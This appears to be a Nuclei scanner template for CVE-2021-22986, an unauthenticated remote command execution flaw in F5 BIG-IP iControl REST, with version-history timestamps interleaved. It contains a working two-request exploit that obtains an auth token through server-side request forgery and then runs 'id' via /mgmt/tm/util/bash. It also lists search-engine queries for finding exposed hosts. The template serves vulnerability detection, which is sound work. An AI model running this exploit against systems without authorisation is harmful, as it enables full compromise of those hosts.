2022-11-08 07:16:56 +00:00
id : CVE-2021-22986
2023-03-27 17:46:47 +00:00
2022-11-08 07:16:56 +00:00
info :
2023-03-27 17:46:47 +00:00
name : F5 iControl REST - Remote Command Execution
2022-11-08 07:16:56 +00:00
author : rootxharsh,iamnoooob
severity : critical
2023-03-27 17:46:47 +00:00
description : F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3; and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the necessary security patches or updates provided by F5 Networks to mitigate the vulnerability.
2022-11-08 07:16:56 +00:00
reference :
- https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986
- https://support.f5.com/csp/article/K03009991
2022-11-08 07:31:56 +00:00
- http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html
2023-03-27 17:46:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-22986
2024-01-29 17:11:14 +00:00
- https://github.com/Miraitowa70/POC-Notes
2022-11-08 07:16:56 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-11-08 07:31:56 +00:00
cvss-score : 9.8
2022-11-08 07:16:56 +00:00
cve-id : CVE-2021-22986
2023-07-11 19:49:27 +00:00
cwe-id : CWE-918
2024-01-29 17:11:14 +00:00
epss-score : 0.97449
epss-percentile : 0.99948
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : f5
product : big-ip_access_policy_manager
2024-05-31 19:23:20 +00:00
shodan-query : http.title:"big-ip®-+redirect" +"server"
fofa-query : title="big-ip®-+redirect" +"server"
google-query : intitle:"big-ip®-+redirect" +"server"
2024-01-14 09:21:50 +00:00
tags : cve,cve2021,bigip,rce,kev,packetstorm,f5
2022-11-08 07:16:56 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-11-08 07:16:56 +00:00
- raw :
- |
POST /mgmt/shared/authn/login HTTP/1.1
Host : {{Hostname}}
Accept-Language : en
Authorization : Basic YWRtaW46
Content-Type : application/json
Cookie : BIGIPAuthCookie=1234
Connection : close
{"username" : "admin" , "userReference" : {}, "loginReference" : {"link" : "http://localhost/mgmt/shared/gossip" }}
- |
POST /mgmt/tm/util/bash HTTP/1.1
Host : {{Hostname}}
Accept-Language : en
2022-11-09 21:36:13 +00:00
X-F5-Auth-Token : {{token}}
2022-11-08 07:16:56 +00:00
Content-Type : application/json
Connection : close
{"command" : "run" , "utilCmdArgs" : "-c id" }
2023-07-11 19:49:27 +00:00
matchers :
- type : word
words :
- "commandResult"
- "uid="
condition : and
2022-11-08 07:16:56 +00:00
extractors :
- type : regex
name : token
group : 1
regex :
- "([A-Z0-9]{26})"
2023-07-11 19:49:27 +00:00
internal : true
2022-11-08 07:16:56 +00:00
part : body
2023-07-11 19:49:27 +00:00
- type : regex
2022-11-08 07:16:56 +00:00
group : 1
regex :
- "\"commandResult\":\"(.*)\""
2023-07-11 19:49:27 +00:00
part : body
2024-06-01 06:53:00 +00:00
# digest: 490a00463044022033f4b6a3a38e1e220d5ead60be586ddc4599d92ea8b4d4398d594463575ed237022056dd65d7e05c3942adfaaf7a94a5024388f73303e77ac7c923e5eb8feda94cb3:922c64590222798bb761d5b6d8e72950